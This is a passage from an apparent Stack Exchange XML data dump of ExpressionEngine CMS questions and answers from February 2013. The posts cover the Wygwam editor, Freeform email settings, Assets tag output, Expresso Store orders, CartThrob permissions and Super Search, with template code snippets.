  <row Id="6593" PostTypeId="2" ParentId="6565" CreationDate="2013-02-21T13:49:36.073" Score="0" Body="&lt;p&gt;One thing I don't like about Wygwam (although I assume it's really to do with CKEditor) is that the source code formatting is a mess. I've been told that can be corrected, but the fixes I've read about didn't work for me.&lt;/p&gt;&#xA;" OwnerUserId="1048" LastActivityDate="2013-02-21T13:49:36.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6594" PostTypeId="1" AcceptedAnswerId="6629" CreationDate="2013-02-21T14:01:17.077" Score="3" ViewCount="123" Body="&lt;p&gt;I'm using Low Variables (2.3.3) with a Wygwam (2.7) variable type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get the has_excerpt functionality working in this setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following code but it ignores it and just outputs the tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_my_variable:has_excerpt}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wondering if I'm doing something wrong, or whether it's just not supported? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-02-22T10:05:59.763" Title="Problems getting Wygwam's has_excerpt feature working with Low Variables" Tags="|wygwam|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6595" PostTypeId="2" ParentId="6591" CreationDate="2013-02-21T14:06:28.123" Score="3" Body="&lt;p&gt;Yeah, just a minor mistake, but that's all it takes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;stripeToken&quot; value=&quot;tok_...&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;payment[token]&quot; value=&quot;tok_...&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As documented &lt;a href=&quot;https://exp-resso.com/docs/store/payment_gateways.html#stripe&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; :)&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-21T14:06:28.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6596" PostTypeId="1" CreationDate="2013-02-21T14:12:15.520" Score="1" ViewCount="84" Body="&lt;p&gt;I have an EE1 site I created a few years ago that was chugging along happily until just recently. I had upgraded it to 1.7.3 about a year ago but beyond that there has been very little that was done to the site after it was set free into the wild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part the site is still working but one embed isn't working as it should. The site is has four groups that users are assigned to, via member groups, and when you login you are sent to the page for your group. Each group is identical in terms of the look and feel as well as what type of content is displayed for each with the exception of one group that has an extra nav item that links them to a discussion forum (EE Forum Module). The site is built with four template groups, one for each group, and an embeds template group (there are a couple other groups but they are irrelevant to this problem) that has all the common code shared amongst them. Each group has an events page that shows past events organized by years and hidden behind tabs (2009, 2010, 2011, etc.). Beneath this is a list of upcoming events for each group (don't ask, I tried to set it up the other way). Both of these past and upcoming event lists are embeds pulled from the embed template group and passed the groups category id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where things get strange. Three of the four groups show past events while one has suddenly stopped displaying the embed. Period. It's not even parsing it at all from the groups events template. Any idea why this might be happening? Other groups are working fine. Until a few days ago the site was parsing the embed without any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a semi-related note, I was going to update the site to EE2 and see if I could improve the way the site handled things like the events page but I ran into trouble with that as well. I started an &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6148/ee1-to-ee2-upgrade-issues&quot;&gt;EESE question for this problem&lt;/a&gt; but since I'm having trouble there as well I need to tackle this from both sides and see if I can get the site working properly first then worry about upgrading later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; Template code for the group events page and the previous events list embed (be kind this was one of my first EE sites ever):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ebs/events&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if not_logged_in}&#xA;    {redirect=&quot;/&quot;}&#xA;{/if}&#xA;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;    {embed=&quot;_embeds/_head&quot;}&#xA;    &amp;lt;body id=&quot;{segment_1}&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;page_wrapper&quot;&amp;gt;&#xA;            {embed=&quot;_embeds/_main_nav&quot;}&#xA;            {embed=&quot;_embeds/_user_nav&quot;}&#xA;            &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;                &amp;lt;!-- Previous Events --&amp;gt;&#xA;                {embed=&quot;_embeds/_previous_events&quot; cat_id=&quot;4&quot;}&#xA;&#xA;                &amp;lt;!-- Upcoming Events --&amp;gt;&#xA;                {if segment_3 &amp;gt;= &quot;{current_time format='%Y'}&quot;}&#xA;                    {embed=&quot;_embeds/_upcoming_events&quot; cat_id=&quot;4&quot;}&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {embed=&quot;_embeds/_footer&quot;}&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;_embeds/_previous_events&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;left_column&quot;&amp;gt;&#xA;        &amp;lt;h2 style=&quot;padding-top: 0.5em;&quot;&amp;gt;Previous Events:&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;right_column&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- tabs --&amp;gt;&#xA;        &amp;lt;ul class=&quot;tabs&quot;&amp;gt;&#xA;        {exp:weblog:entries weblog=&quot;events&quot; orderby=&quot;event_start_date&quot; show_expired=&quot;yes&quot; category=&quot;{embed:cat_id}&quot; show_future_entries=&quot;no&quot; status=&quot;open&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;        {if {expiration_date} &amp;lt; {current_time}}&#xA;            {date_heading display=&quot;yearly&quot;}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a{if {segment_3} == {year}} class=&quot;current&quot;{/if} href=&quot;{site_url}{segment_1}/{segment_2}/{year}&quot;&amp;gt;{year}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/date_heading}&#xA;        {/if}&#xA;        {/exp:weblog:entries}&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;!-- tab panels --&amp;gt;&#xA;        &amp;lt;div class=&quot;panels&quot;&amp;gt;&#xA;        {exp:weblog:entries weblog=&quot;events&quot; orderby=&quot;event_start_date&quot; show_expired=&quot;yes&quot; category=&quot;{embed:cat_id}&quot; show_future_entries=&quot;no&quot; status=&quot;open&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;            {if {expiration_date format=&quot;%Y&quot;} == {segment_3} &amp;amp;&amp;amp; {expiration_date} &amp;lt; {current_time}}&#xA;            &amp;lt;div class=&quot;events&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;event_entry&quot;&amp;gt;&#xA;                    &amp;lt;h3 class=&quot;event_title&quot;&amp;gt;&amp;lt;a href=&quot;{url_title_path='{segment_1}/event_details'}&quot;&amp;gt;{event_topic}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;h4 class=&quot;event_date&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;event_days&quot;&amp;gt;{event_start_date format=&quot;%F&quot;} {event_start_date format=&quot;%j&quot;}{if {event_start_date format=&quot;%j&quot;} != {event_end_date format=&quot;%j&quot;}}&amp;amp;ndash;{event_end_date format=&quot;%j&quot;}{/if},&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;span class=&quot;event_year&quot;&amp;gt;{event_start_date format=&quot;%Y&quot;}&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;span class=&quot;entry_divider&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;em&amp;gt;{event_location}&amp;lt;/em&amp;gt;&#xA;                    &amp;lt;/h4&amp;gt;&#xA;                    {event_description}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;            {if no_results}&#xA;            &amp;lt;div class=&quot;event_entry&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;There have been no events for your group yet. There may be upcoming events listed below.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;        {/exp:weblog:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-02-26T17:51:20.770" Title="I need help with some strange EE1 behavior" Tags="|ee1|embeds|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6597" PostTypeId="2" ParentId="6592" CreationDate="2013-02-21T14:14:22.133" Score="2" Body="&lt;p&gt;It depends for each scenario. For member registration &amp;amp; login with inline error handling, we have created a free plugin called &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt; which is quite popular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also other commercial member plugins which provide inline error handling and more (e.g. custom member fields using any fieldtype) such as &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; and &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each scenario you need to look for different plugins. For example, Safecracker (front end entry forms) provides inline error handling out of the box. Comment forms you will need to investigate different solutions etc.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-21T14:14:22.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6598" PostTypeId="1" AcceptedAnswerId="6600" CreationDate="2013-02-21T14:15:56.633" Score="0" ViewCount="628" Body="&lt;p&gt;I'm trying to make a form, using the free version of Solspace Freeform (v4). And I would like to set the &quot;from&quot; field in the email.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_id=&quot;2&quot; required=&quot;message|email|recipient_email&quot; recipient_user_input=&quot;yes&quot; recipient_user_limit=&quot;1&quot; recipient_user_template=&quot;original&quot; }&#xA;&#xA;    &amp;lt;fieldset class=&quot;message&quot;&amp;gt;&#xA;&#xA;        &amp;lt;legend&amp;gt;Your personal message&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;textarea name=&quot;message&quot; id=&quot;message&quot; placeholder=&quot;Hello...&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;fieldset class=&quot;emails&quot;&amp;gt;&#xA;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Your email address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;email@example.com&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;label for=&quot;recipient_email_user&quot;&amp;gt;Receivers email address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;email&quot; name=&quot;recipient_email_user&quot; id=&quot;recipient_email_user&quot; placeholder=&quot;email@example.com&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-02-21T14:25:02.027" Title="Set sender email address in frontend using Solspace Freeform (v4)" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6599" PostTypeId="1" AcceptedAnswerId="6675" CreationDate="2013-02-21T14:16:52.177" Score="1" ViewCount="98" Body="&lt;p&gt;It's my understanding that settings in the config.php override any settings in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background:&#xA;I have copied a site over so it runs from another domain (with the view of closing down the original site). I want both sites to use the same database so they display the same content but change the site's general configs and paths. If I changed paths (like theme path) in the control panel then that seems to affect the other site as I think these setting are stored in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-02-23T19:03:03.037" Title="Why settings in my config.php aren't overriding settings in the CP" Tags="|database|config|" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6600" PostTypeId="2" ParentId="6598" CreationDate="2013-02-21T14:25:02.027" Score="2" Body="&lt;p&gt;Yes. In your notification template (in this case, the one called &quot;original&quot;, just put &lt;code&gt;{email}&lt;/code&gt; in the &quot;From&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR, perhaps even better, use an email address originating from your domain (say, &lt;code&gt;website@yourdomain.com&lt;/code&gt;) in &quot;From&quot;, and use &lt;code&gt;{email}&lt;/code&gt; as the &quot;Reply-To&quot; address. (This will help with deliverability, as some servers may reject email which is from an address that does not originate on the sending domain.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-21T14:25:02.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6601" PostTypeId="2" ParentId="6565" CreationDate="2013-02-21T14:52:20.960" Score="1" Body="&lt;p&gt;I usually install a very stripped down version of any WYSIWYG editor, Wygwam included. That's usually less confusing for the client than seeing the code produced by the Rich Text Formatting buttons. If all you need are basic tags, the source code formatting is not that bad&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from the RTE shipping with ExpressionEngine, here are the popular solutions. All of these have options to customise the formatting options available to the end user.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ee-garage.com/nsm-tinymce&quot; rel=&quot;nofollow&quot;&gt;NSM Tiny MCE&lt;/a&gt; (built on Tiny MCE - free)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;Wygwam&lt;/a&gt; (built on CK Editor - commercial)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/wyvern&quot; rel=&quot;nofollow&quot;&gt;Wyvern&lt;/a&gt; (built on CK Editor - commercial)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/redactee&quot; rel=&quot;nofollow&quot;&gt;Redactee&lt;/a&gt; (built on Redactor - commercial)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/editor&quot; rel=&quot;nofollow&quot;&gt;Editor&lt;/a&gt; (built on Redactor - commercial)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Additional factors to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;integration with other add-ons (Structure, Matrix, Low variables)&lt;/li&gt;&#xA;&lt;li&gt;ease of customisation&lt;/li&gt;&#xA;&lt;li&gt;responsiveness in the CP (if you use many of them in one publish form).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-21T15:36:57.660" LastActivityDate="2013-02-21T15:36:57.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6602" PostTypeId="2" ParentId="6565" CreationDate="2013-02-21T15:33:54.677" Score="1" Body="&lt;p&gt;The only downside I've ever run across is the lag when loading Wygwam on the publish pages, especially if there are more than one on the page. Wygwam is still using CK Editor 3 so it's possible that when they eventually update this to CK Editor 4 (like Wyvern has) the performance issues will be reduced or eliminated altogether. The upside for me, however, far outweighs the downside. I have FULL CONTROL over the toolset I can give clients and pretty much anywhere I would use a text area, I use a Wygwam field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UX benefits are important to me so when clients see a field where they can enter a paragraph they see the WYSWIG field. The tools they are given are applicable to the content they are entering. If it makes sense to allow them to add bulleted lists they get the bulleted list menu. If I want to only allow them to bold or italicize text, pretty much everything is removed from the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only buttons that are consistent across ALL Wygwam fields for me are the source code button, the show outline boxes, and some form of the format drop down menu. The format drop down ALWAYS contains the normal style so if a paragraph somehow is removed they can easily fix it without having to deal with the source code. The show outlines is only there so they can turn off the default state of the outlines being on and the source code button is there for emergencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of this applies to using Wyvern but I prefer the control panel Pixel and Tonic has provided for working with CK Editor and the advanced features much better then Wyvern. While I like the effort put into Redactor, I am not all that impressed with the results in use compared to Wygwam or Wyvern so I avoid Redactee and Editor. I stopped using Tiny MCE after figuring out what I can do with the advanced config settings in Wygwam.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-02-21T15:33:54.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6603" PostTypeId="1" CreationDate="2013-02-21T15:50:00.380" Score="2" ViewCount="104" Body="&lt;p&gt;I have an Assets field set up with multiple images selected inside a channel entry. When I try to output these images using the code below, nothing appears.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;list_photos&quot; entry_id=&quot;37&quot; limit=&quot;1&quot; disable=&quot;categories|pagination|member_data&quot;}&#xA;  {photo}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{photo:url}&quot; class=&quot;gal&quot; rel=&quot;group&quot; title=&quot;{photo_description}&quot;&amp;gt;&amp;lt;img src=&quot;/phpthumb/phpThumb.php?src={photo:url}&amp;amp;w=200&amp;amp;h=140&amp;amp;zc=1&amp;amp;q=80&quot; width=&quot;200&quot; height=&quot;140&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/photo}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone identify the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets 2.0.5&lt;/p&gt;&#xA;" OwnerUserId="1049" LastActivityDate="2013-02-21T16:22:02.643" Title="Assets tag pair not outputting anything" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6604" PostTypeId="2" ParentId="6603" CreationDate="2013-02-21T16:22:02.643" Score="2" Body="&lt;p&gt;Don't use the prefix when you're within the tag pair (the &lt;code&gt;field_name&lt;/code&gt; prefix is only for when you want to access one of the field's properties outside of the tag pair):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{photo}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot; class=&quot;gal&quot; rel=&quot;group&quot; title=&quot;{photo_description}&quot;&amp;gt;&amp;lt;img src=&quot;/phpthumb/phpThumb.php?src={url}&amp;amp;w=200&amp;amp;h=140&amp;amp;zc=1&amp;amp;q=80&quot; width=&quot;200&quot; height=&quot;140&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/photo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-21T16:22:02.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6605" PostTypeId="1" AcceptedAnswerId="6619" CreationDate="2013-02-21T16:46:18.553" Score="2" ViewCount="160" Body="&lt;p&gt;I'm looking for a way to identify which 'Store' an order came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little context, our client, a restaurant, uses Expresso Store to handle their online ordering. They've just opened a new location, and online orders all go to the same email address, making it impossible for them to determine which location the order refers to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working around this using a cookie that gets set to a value depending on which page they are ordering from. On submission, I'd like to set the order status depending on the cookie value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right in assuming I'll need to use the 'store_order_complete_end' hook to change order status on submission? Or is there a way to set status before submitting the order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bobby&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I believe the change, if possible, would have to be made within the {exp:store:payment} tag pair. I noticed that it has access to the {exp:store:order} tags, including the order_status parameter. In the latter, it's used as a filter, but when used in the {exp:store:payment} tag pair, could it be used to set the order status?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FINAL EDIT:&lt;/strong&gt; Hey guys, just wanted to let you know I've found a workaround for this problem using Michael's advice below. I'm using a custom variable. Basically, there is a page for each location that has an address checker (to see if you're within the delivery zone). On success, both are directed to the same order page, and the custom variable is set. This value is appended to the subject line for the Order / Payment Confirmation emails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a master email address that is BCC'd on all emails. We then use filtering to forward to individual store email addresses depending on the subject line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it's not the most elegant solution, but it does work. Thanks again for the help.&lt;/p&gt;&#xA;" OwnerUserId="947" LastEditorUserId="252" LastEditDate="2013-02-27T12:14:18.873" LastActivityDate="2013-02-27T12:14:18.873" Title="Specify Location on Expresso Store Order Submission" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6606" PostTypeId="2" ParentId="6563" CreationDate="2013-02-21T16:48:34.117" Score="0" Body="&lt;p&gt;I was having this problem. Try removing &lt;code&gt;status=&quot;open&quot;&lt;/code&gt; from the Safecracker tag altogether. Worked for me.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-21T16:48:34.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6607" PostTypeId="2" ParentId="6565" CreationDate="2013-02-21T17:37:17.120" Score="1" Body="&lt;p&gt;I can think of one potential drawback when using a wysiwyg for &lt;em&gt;all&lt;/em&gt; your textarea needs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are times where even though you want the user to have bold, italics, or link buttons, you &lt;em&gt;don't&lt;/em&gt; want them to be able to add multiple paragraphs! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find yourself in that situation when replacing textareas with wysiwyg fields, one reliable way around that is to use an html stripping plugin to strip &lt;code&gt;p&lt;/code&gt; tags. Wygwam has a built-in parameter to do just that (Text-Only Mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you're only worried about extra &lt;em&gt;paragraphs&lt;/em&gt; in Wygwam, not line breaks, you can approximate the EE textarea's &quot;Auto &amp;lt;br&amp;gt;&quot; format by creating a Wygwam editor configuration that uses CKEditor's  &lt;a href=&quot;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html#.enterMode&quot; rel=&quot;nofollow noreferrer&quot;&gt;enterMode&lt;/a&gt; config. Wygwam has a handy UI for setting CKEditor configuration options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WB44r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-04-16T01:58:42.283" LastActivityDate="2013-04-16T01:58:42.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6608" PostTypeId="2" ParentId="6592" CreationDate="2013-02-21T18:06:29.560" Score="2" Body="&lt;p&gt;I don't know of a way to display system errors in a template tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can use the &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom System Messages&lt;/strong&gt;&lt;/a&gt; addon to move system messages into a template. This gives you more control over customizing the errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have JS skills, there's no reason you shouldn't be able to submit your login form using Ajax and show an appropriate error on the screen. You'd write a conditional based on the action ID (&lt;code&gt;{action}&lt;/code&gt;) in the template to handle login errors in a specific manner and all other errors regularly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This extension lets you define any 2 templates within your template groups to be used as the error page. You have access to all the usual variables from the Specialty Templates, plus two new ones {referrer} and {action}. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-02-21T18:14:34.560" LastActivityDate="2013-02-21T18:14:34.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6609" PostTypeId="1" CreationDate="2013-02-21T18:14:28.317" Score="0" ViewCount="69" Body="&lt;p&gt;Hoping someone can shed some light on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using CT permissions and the problem I am having is as long as you have permission to one item you can access all items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am selling access to online courses.  The permission id is the same as the category id.&#xA;So a course is on &lt;a href=&quot;http://domain.com/courses/test/50/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/courses/test/50/&lt;/a&gt;&#xA;and my permission is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:has_permission permissions=&quot;{segment_3}&quot; member_id=&quot;{member_id}&quot;}&#xA;course posting here&#xA;{/exp:cartthrob:has_permission}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A user will have permission for category 51 but they can also access any other category ie: 50.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I hard code in the permission &lt;code&gt;permissions=&quot;50&quot;&lt;/code&gt; a customer with permission to 51 can access 50.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user does not have ANY permissions they cannot access anything.  But if they have permission to one they can access anything they want.&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="77" LastEditDate="2013-02-22T11:34:13.243" LastActivityDate="2013-02-22T11:34:13.243" Title="Cart Throb Permissions" Tags="|cartthrob|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6610" PostTypeId="2" ParentId="6589" CreationDate="2013-02-21T18:19:49.517" Score="1" Body="&lt;p&gt;If you're needing to have multiple slides per Matrix row, why not use Assets to upload multiple files for each row? You'd have an Assets column in your Matrix to handle that.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-21T18:19:49.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6611" PostTypeId="1" CreationDate="2013-02-21T19:21:00.293" Score="1" ViewCount="127" Body="&lt;p&gt;I’ve just launched a site using Super Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works nicely on the dev server but on the live server the search produces no results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a search for 1 bedroom:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://demo.alexmarks.com.php53-26.dfw1-2.websitetestlink.com/properties/search_results/search&amp;amp;bedrooms-from=1&amp;amp;category=&amp;amp;channel=lettings/&quot; rel=&quot;nofollow&quot;&gt;http://demo.alexmarks.com.php53-26.dfw1-2.websitetestlink.com/properties/search_results/search&amp;amp;bedrooms-from=1&amp;amp;category=&amp;amp;channel=lettings/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which shows 15 results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same search on the live server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alexmarks.co.uk/properties/search_results/search&amp;amp;bedrooms-from=1&amp;amp;category=&amp;amp;channel=lettings/&quot; rel=&quot;nofollow&quot;&gt;http://alexmarks.co.uk/properties/search_results/search&amp;amp;bedrooms-from=1&amp;amp;category=&amp;amp;channel=lettings/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which shows 0 results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Niall&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="28" LastEditDate="2013-02-22T05:45:54.373" LastActivityDate="2013-03-24T16:52:13.383" Title="Super Search Doesn't Work on Live server" Tags="|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC 